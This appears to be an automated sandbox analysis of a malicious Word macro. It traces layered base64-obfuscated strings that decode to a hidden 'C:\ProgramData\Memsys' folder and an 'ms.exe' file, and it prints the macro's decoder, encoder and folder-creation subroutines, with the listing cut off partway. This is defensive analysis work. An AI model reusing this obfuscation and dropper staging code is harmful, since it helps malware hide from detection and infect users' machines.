InStrRev("Vm0weGQxRXhXWGhYYmxKWFlUSm9WVmxVU205V1ZteHlXa1JTVjJKSGVGbGFWV1JIWVd4YWRWRnJjRnBoYXpWeVZsVmFWMVpWTVVWaGVqQTk=","=") -> 108 InStrRev("Vm0xd1ExWXhXblJXYTJoVVlUSm9WVmxyWkRSV2JHeFlaVWRHYWxadVFrcFphazVyVlVaV1ZVMUVhejA9","=") -> 0 InStrRev("Vm1wQ1YxWnRWa2hUYTJoVVlrZDRWbGxYZUdGalZuQkpZak5rVUZWVU1Eaz0=","=") -> 60 InStrRev("VmpCV1ZtVkhTa2hUYkd4VllXeGFjVnBJYjNkUFVUMDk=","=") -> 44 InStrRev("VjBWVmVHSkhTbGxVYWxacVpIb3dPUT09","=") -> 0 InStrRev("WEUxbGJYTjVjdz09","=") -> 0 InStrRev("QzpcUHJvZ3JhbURhdGFcTWVtc3lz","=") -> 0 InStrRev("Vm0wd2QyUXlWa2hWV0doVVYwZDRWRll3WkZOVlJscHpXa2M1VjFac2JETlhhMk0xVmpBeFdHVkVRbUZXVmxsM1ZtcEJlRmRIVmtsaVJtaG9UVmhDVVZkV1pEUlpWMDE0V2toR1VtSkdXbGhaYTFaM1ZsWmtWMWRzV214U2JHdzBWMnRvVjJGR1NuUlZiRkpoVmpOU1lWcFhlR0ZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001","=") -> 0 InStrRev("Vm0wd2QyVkhVWGhUV0d4VFYwZFNVRlpzWkc5V1ZsbDNXa2M1VjAxWGVEQmFWVll3VmpBeFdHVkliRmhoTVhCUVdWZDRZV014WkhGUmJGWlhZa1Z3VlZkV1dsWmxSbGw0V2toV2FGSnRVbFJhVjNSYVpXeGFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5","=") -> 0 InStrRev("Vm0wd2VHUXhTWGxTV0dSUFZsZG9WVll3Wkc5V01XeDBaVVYwVjAxWGVIbFhhMXBQWVd4YWMxZHFRbFZXYkVwVVdWWlZlRll4WkhWaFJtUlRaV3RaZWxac1ZtRldNVnBXVFZWV2FHVnFRVGs9","=") -> 0 InStrRev("Vm0weGQxSXlSWGRPVldoVVYwZG9WMWx0ZUV0V01XeHlXa1pPYWxac1dqQlVWbEpUWVZVeFYxZHVhRmRTZWtZelZsVmFWMVpWTVVWaGVqQTk=","=") -> 108 InStrRev("Vm0xd1IyRXdOVWhUV0doV1lteEtWMWxyWkZOalZsWjBUVlJTYVUxV1duaFdSekYzVlVaV1ZVMUVhejA9","=") -> 0 InStrRev("Vm1wR2EwNUhTWGhWYmxKV1lrZFNjVlZ0TVRSaU1WWnhWRzF3VUZWVU1Eaz0=","=") -> 60 InStrRev("VmpGa05HSXhVblJWYkdScVVtMTRiMVZxVG1wUFVUMDk=","=") -> 44 InStrRev("VjFkNGIxUnRVbGRqUm14b1VqTmpPUT09","=") -> 0 InStrRev("WWxoTmRWcFlhR3c9","=") -> 0 InStrRev("YlhNdVpYaGw=","=") -> 12 InStrRev("bXMuZXhl","=") -> 0 InStrRev("Vm0weGQxRXhXWGxTYmxKWFlUSm9XRmx0ZEhkak1WVjNWMnQwV0ZKdGVGbGFWVll3WVVaS2MyTkdhRmRXYldoeVZsVmFWMVpWTVVWaGVqQTk=","=") -> 108 InStrRev("Vm0xd1ExWXlSblJXYTJoWFltdHdjMVV3V2t0WFJteFlaVVYwYUZKc2NGaFdWbWhyVlVaV1ZVMUVhejA9","=") -> 0 InStrRev("Vm1wQ1YyRnRWa2hXYmtwc1UwWktXRmxYZUV0aFJscFhWVmhrVUZWVU1Eaz0=","=") -> 60 InStrRev("VmpCV2FtVkhWbkpsU0ZKWFlXeEthRlpXVVhkUFVUMDk=","=") -> 44 InStrRev("VjBWamVHVnJlSFJXYWxKaFZWUXdPUT09","=") -> 0 InStrRev("WEcxekxtVjRaUT09","=") -> 0
MNAJSAQQQQQQ6
MNAJSAQQQQQQ12
MNAJSAQQQQQQ18
StrConv
vbFromUnicode
UBound
UBound
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
MNAJSAQQQQQQ16
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
MNAJSAQQQQQQ8
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
StrConv
vbUnicode
Left$
Len	Len("Vm0weE5GVXhUblJXYTFwT1ZsZG9WVmx0Y3pGVk1XeHlWbTVrVm1KR2NIbFdWM1JMVlVaV1ZVMUVhejA9\x00") -> 81 Len("Vm14U1NtVkZNVWhUYms1U1lrVndVbFpyVWtKUFVUMDk=\x00") -> 45 Len("VmxSSmVFMUhTbk5SYkVwUlZrUkJPUT09\x00") -> 33 Len("VTIxMGJsQlJQVDA9\x00\x00") -> 18 Len("SmtnPQ==\x00") -> 9 Len("Jkg=\x00\x00") -> 6 Len("&H\x00") -> 3 Len("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVUm5kVlJscHpXa1pPV0ZKc2JETlhhMk0xVmpBeFYySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVlZ3VlZadGNFZFRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GZEZSTlZUVkpWbTEwVjFWdFNsWlhiR2hYWVd0YVRGVXhXbUZrUjA1R1UyMTRVMkpXU2twV2JURXdWakZXZEZOc1dsaGlSa3BZV1d4b2IyVnNVbFZTYlhSWFRWaENSbFpYZUZOVWJVcEdZMFZ3VjJKVVJYZFpla3BIWXpGT2RWVnNXbWxoTUhCWVYxZDRiMVV3TUhoV1dHaFlZbGhTV0ZSV2FFTlRiR3QzV2tSU1ZrMXJjRmhWTW5oelZqRmFObEZZYUZkU1JWcDZWbXBHVDJSV1VuUmpSbEpUVmxoQ1dWWXhaRFJpTVZWM1RVaG9WbUpzU25OVmFrSmhZMVpTVjFwR1RrNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ==\x00\x00") -> 618 Len("Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOWFJsbDNXa2M1VjAxV2JETlhhMk0xVjBaS2MySkVUbGhoTVVwVVZtcEdTMlJIVmtkWGJGcE9ZV3RGZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYWtaTFUxWmFkR05GU214U2JWSkpWbTEwVjFWdFNsWlhiRkpYWWxob2VsUlVSbXRXTVhCRlZXeFNUbUpGY0VwV2JURXdZekpHYzFOdVVsWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWaENTbGt3WkRSVk1rcFhVMnhzVjFaNlFYaFdSRVp6VmpGT2RWUnRjRlJTVlhCWVYxZDRiMVV3TUhoVmJsSnNVakJhY1ZSV1pGTk5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0=\x00\x00") -> 462 Len("Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V01WbDNXa2M1V0ZKc2JETlhhMUpUVmpGS2RHVkdXbFpOYWtFeFZtcEtTMU5IVmtWUmJVWlhWakZLU1ZadGNFSmxSbVJJVm10V1VtSlZXbFJXYlhoelRURmtWMXBFVWxSTmJFcEpWbTEwYzJGc1NuUlZia0pXWWxoU00xVXhXbXRXTVhCSlkwZDRVMkpXU2xsV1Z6QXhWREZzVjFOdVRtcFRSVXBYV1d4b1UwMHhVblJsUjBacVRWZFNNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==\x00") -> 345 Len("Vm0wd2QyUXlWa1pPVldSWFYwZG9WMVl3Wkc5WFJsbDNXa1JTVjFKdGVGWlZNakExVmpKS1NHVkVRbUZXVjFKSVZtcEJlRmRIVmtWUmJVWlRWbXhzTTFkV1pEUlRNbEpJVm10c2FsSnRVbkJWYlhSM1UxWmtWMXBJY0d4U2JWSllWVzAxVDFsV1NuTmpTRUpXWWxoU00xUnRlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001\x00\x00") -> 258 Len("Vm0xNFUxUXhWWGxTYTJoVllteGFWMWx0ZEV0alJteHpWbFJHYWsxWVFsZFZiRkp6VlZaV1ZVMUVhejA9\x00") -> 81 Len("VmxST1UyRkhUblZWYmtKcFlsVTFjMXBWUlRsUVVUMDk=\x00") -> 45 Len("VlROU2FHTnVVbkJpYlU1c1pVRTlQUT09\x00") -> 33 Len("U3RhcnRpbmNleA==\x00\x00") -> 18 Len("Startincex\x00\x00") -> 12 Len("Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0=\x00") -> 141 Len("Vm14YVlWWXdOVWRWYkdSWVlrZFNWbGxVUm5kV01XeHlWbFJHVm1KR2NGbFpNM0JYVlRBeFZrNVdaR0ZXVmxwaFZVWkZPVkJSUFQwPQ==\x00") -> 105 Len("VmxaYVYwNUdVbGRYYkdSVllURndWMWxyVlRGVmJGcFlZM3BXVTAxVk5WZGFWVlphVUZFOVBRPT0=\x00\x00") -> 78 Len("VlZaV05GUldXbGRVYTFwV1lrVTFVbFpYY3pWU01VNVdaVVZaUFE9PQ==\x00") -> 57 Len("VVZWNFRWWldUa1pWYkU1UlZXczVSMU5WZUVZPQ==\x00\x00") -> 42 Len("UVV4TVZWTkZVbE5RVWs5R1NVeEY=\x00\x00") -> 30 Len("QUxMVVNFUlNQUk9GSUxF\x00") -> 21 Len("Vm0wd2QyUXlVWGxWV0d4WFlUSm9WMVl3Wkc5V1JsbDNXa2M1V0Zac2JETlhhMk0xVjBaYWRHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYzJGV1NuUmhSemxWVm14YU0xWnNXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdZVEpHVjFOWVpGaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERldZMFpzVjFaNlFYaFZla3BIWXpGT2RWWnNTbWxXUjNob1ZtcENiMUV4WkVkalJtUllZbFZhY1ZSV1duZE5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0=\x00\x00") -> 462 Len("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WRll3Wkc5WFZsbDNXa2M1V0ZadGVEQmFWVll3VjBaS2RHVkdXbFpOYWtFeFZtcEdZV1JIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10c2FWSnRhRzlVVmxaM1ZsWmFkR05GZEZSTlZUVkpWbTEwYTJGV1NYZFhiR2hYWVd0YVRGVXhXbXRXTVhCRlZXeHdWMDFWY0ZsV1Z6QXhVekpHYzFOdVZsSmlWR3hoVmpCb1ExZEdjRmRYYlVacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==\x00") -> 345 Len("Vm0wd2QyUXlWa2hWV0doVFYwZG9XVll3Wkc5WFZteDBaVVYwV0ZKdGVGWlZNakExVmpGYWRHVkdXbFpOYWtFeFZtcEdZV1JIVmtsaVJtaG9UVlZ3VlZadGNFdFRNVTVJVm10a2FWSXdXbGhXYWtaTFUxWmtWMXBFVWxwV01VcFlWVzAxUzJGc1NuVlJiVGxhVjBoQ1dGcFdXbUZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001\x00\x00") -> 258 Len("Vm0xd1ExWXhXblJXYTJoVVlUSm9WVmxyWkRSV2JHeFlaVWRHYWxadVFrcFphazVyVlVaV1ZVMUVhejA9\x00") -> 81 Len("VmpCV1ZtVkhTa2hUYkd4VllXeGFjVnBJYjNkUFVUMDk=\x00") -> 45 Len("VjBWVmVHSkhTbGxVYWxacVpIb3dPUT09\x00") -> 33 Len("WEUxbGJYTjVjdz09\x00\x00") -> 18 Len("\Memsys\x00\x00") -> 9 Len("Vm0wd2QyUXlWa2hWV0doVVYwZDRWRll3WkZOVlJscHpXa2M1VjFac2JETlhhMk0xVmpBeFdHVkVRbUZXVmxsM1ZtcEJlRmRIVmtsaVJtaG9UVmhDVVZkV1pEUlpWMDE0V2toR1VtSkdXbGhaYTFaM1ZsWmtWMWRzV214U2JHdzBWMnRvVjJGR1NuUlZiRkpoVmpOU1lWcFhlR0ZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001\x00\x00") -> 258 Len("Vm0xd1IyRXdOVWhUV0doV1lteEtWMWxyWkZOalZsWjBUVlJTYVUxV1duaFdSekYzVlVaV1ZVMUVhejA9\x00") -> 81 Len("VmpGa05HSXhVblJWYkdScVVtMTRiMVZxVG1wUFVUMDk=\x00") -> 45 Len("VjFkNGIxUnRVbGRqUm14b1VqTmpPUT09\x00") -> 33 Len("WWxoTmRWcFlhR3c9\x00\x00") -> 18 Len("bXMuZXhl\x00") -> 9

Strings	Decrypted Strings
"=="
"="

Line	Instruction	Meta Information
91	Public Function sss(sString as String) as String
93	Dim bOut() as Byte, bIn() as Byte, bTrans(255) as Byte, OOOPOOOOPOOOO6(63) as Long, OOOPOOOOPOOOO12(63) as Long	executed
94	Dim OOOPOOOOPOOOO18(63) as Long, lQuad as Long, iPad as Integer, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB as Long, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA as Long, sOut as String
95	Dim mnAjUYt as Long
97	sString = Replace(sString, vbCr, vbNullString)	Replace("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9"," ","") -> Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9 vbCr vbNullString executed
98	sString = Replace(sString, vbLf, vbNullString)	Replace("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9"," ","") -> Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9 vbLf vbNullString executed
100	mnAjUYt = Len(sString) Mod 4	Len("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9") -> 144 executed
102	If InStrRev(sString, "==") Then	InStrRev("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9","==") -> 0 executed
103	iPad = 2
104	Elseif InStrRev(sString, "=") Then	InStrRev("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9","=") -> 0 executed
105	iPad = 1
106	Endif
108	For mnAjUYt = 0 To 255
109	Select Case mnAjUYt
110	Case 65 To 90
111	bTrans(mnAjUYt) = mnAjUYt - 65
112	Case 97 To 122
113	bTrans(mnAjUYt) = mnAjUYt - 71
114	Case 48 To 57
115	bTrans(mnAjUYt) = mnAjUYt + 4
116	Case 43
117	bTrans(mnAjUYt) = 62
118	Case 47
119	bTrans(mnAjUYt) = 63
120	End Select
121	Next mnAjUYt
123	For mnAjUYt = 0 To 63
124	OOOPOOOOPOOOO6(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ6	MNAJSAQQQQQQ6
125	OOOPOOOOPOOOO12(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ12	MNAJSAQQQQQQ12
126	OOOPOOOOPOOOO18(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ18	MNAJSAQQQQQQ18
127	Next mnAjUYt
129	bIn = StrConv(sString, vbFromUnicode)	StrConv vbFromUnicode
130	Redim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)	UBound
132	For BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB = 0 To UBound(bIn) Step 4	UBound
133	lQuad = OOOPOOOOPOOOO18(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB))) + OOOPOOOOPOOOO12(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 1))) + OOOPOOOOPOOOO6(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 2))) + bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 3))
135	mnAjUYt = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
136	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = mnAjUYt \ MNAJSAQQQQQQ16	MNAJSAQQQQQQ16
137	mnAjUYt = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
138	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 1) = mnAjUYt \ MNAJSAQQQQQQ8	MNAJSAQQQQQQ8
139	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 2) = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
140	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 3
141	Next BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB	UBound
143	sOut = StrConv(bOut, vbUnicode)	StrConv vbUnicode
144	If iPad Then
144	sOut = Left$(sOut, Len(sOut) - iPad)	Left$ Len("Vm0weE5GVXhUblJXYTFwT1ZsZG9WVmx0Y3pGVk1XeHlWbTVrVm1KR2NIbFdWM1JMVlVaV1ZVMUVhejA9\x00") -> 81 executed
144	Endif
145	sss = sOut
147	End Function

Subroutine S1, APIs: 45, Strings: 0, Number of lines: 3, Relevance: 56.253

APIs	Meta Information
MkDir
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ8
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ16
Part of subcall function Encode64@NewMacros: Len
Part of subcall function Encode64@NewMacros: String
Part of subcall function Encode64@NewMacros: Chr
Part of subcall function Encode64@NewMacros: StrConv
Part of subcall function Encode64@NewMacros: vbFromUnicode
Part of subcall function Encode64@NewMacros: UBound
Part of subcall function Encode64@NewMacros: LBound
Part of subcall function Encode64@NewMacros: UBound
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ18
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ12
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ6
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask
Part of subcall function Encode64@NewMacros: StrConv
Part of subcall function Encode64@NewMacros: vbUnicode

Line	Instruction	Meta Information
153	Sub S1(b as String)
154	MkDir (sss(Encode64(b)))	MkDir executed
155	End Sub

Subroutine S2, APIs: 45, Strings: 0, Number of lines: 3, Relevance: 56.253

APIs	Meta Information
ChDir
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ8
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ16
Part of subcall function Encode64@NewMacros: Len
Part of subcall function Encode64@NewMacros: String
Part of subcall function Encode64@NewMacros: Chr
Part of subcall function Encode64@NewMacros: StrConv
Part of subcall function Encode64@NewMacros: vbFromUnicode
Part of subcall function Encode64@NewMacros: UBound
Part of subcall function Encode64@NewMacros: LBound
Part of subcall function Encode64@NewMacros: UBound
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ18
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ12
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
Part of subcall function Encode64@NewMacros: MNAJSAQQQQQQ6
Part of subcall function Encode64@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask
Part of subcall function Encode64@NewMacros: StrConv
Part of subcall function Encode64@NewMacros: vbUnicode

Line	Instruction	Meta Information
156	Sub S2(b as String)
157	ChDir (sss(Encode64(b)))	ChDir executed
158	End Sub

Function Encode64, APIs: 19, Strings: 0, Number of lines: 62, Relevance: 30.062

APIs	Meta Information
MNAJSAQQQQQQ8
MNAJSAQQQQQQ16
Len	Len("C:\ProgramData\Memsys") -> 21
String
Chr
StrConv
vbFromUnicode
UBound
LBound
UBound
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
MNAJSAQQQQQQ18
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
MNAJSAQQQQQQ12
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
MNAJSAQQQQQQ6
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask
StrConv
vbUnicode

Line	Instruction	Meta Information
19	Public Function Encode64(sString as String) as String
21	Dim bTrans(63) as Byte, OOOPOOOOPOOOO8(255) as Long, OOOPOOOOPOOOO16(255) as Long, bOut() as Byte, bIn() as Byte	executed
22	Dim BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB as Long, lTrip as Long, iPad as Integer, lLen as Long, mnAjUYt as Long, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA as Long, lOutSize as Long
24	For mnAjUYt = 0 To 63
25	Select Case mnAjUYt
26	Case 0 To 25
27	bTrans(mnAjUYt) = 65 + mnAjUYt
28	Case 26 To 51
29	bTrans(mnAjUYt) = 71 + mnAjUYt
30	Case 52 To 61
31	bTrans(mnAjUYt) = mnAjUYt - 4
32	Case 62
33	bTrans(mnAjUYt) = 43
34	Case 63
35	bTrans(mnAjUYt) = 47
36	End Select
37	Next mnAjUYt
39	For mnAjUYt = 0 To 255
40	OOOPOOOOPOOOO8(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ8	MNAJSAQQQQQQ8
41	OOOPOOOOPOOOO16(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ16	MNAJSAQQQQQQ16
42	Next mnAjUYt
44	iPad = Len(sString) Mod 3	Len("C:\ProgramData\Memsys") -> 21 executed
45	If iPad Then
46	iPad = 3 - iPad
47	sString = sString & String(iPad, Chr(0))	String Chr
48	Endif
50	bIn = StrConv(sString, vbFromUnicode)	StrConv vbFromUnicode
51	lLen = ((UBound(bIn) + 1) \ 3) * 4	UBound
52	mnAjUYt = lLen \ 72
53	lOutSize = ((mnAjUYt * 2) + lLen) - 1
54	Redim bOut(lOutSize)
56	lLen = 0
58	For BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB = LBound(bIn) To UBound(bIn) Step 3	LBound UBound
59	lTrip = OOOPOOOOPOOOO16(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)) + OOOPOOOOPOOOO8(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 1)) + bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 2)
60	mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
61	bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = bTrans(mnAjUYt \ MNAJSAQQQQQQ18)	MNAJSAQQQQQQ18
62	mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask	HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
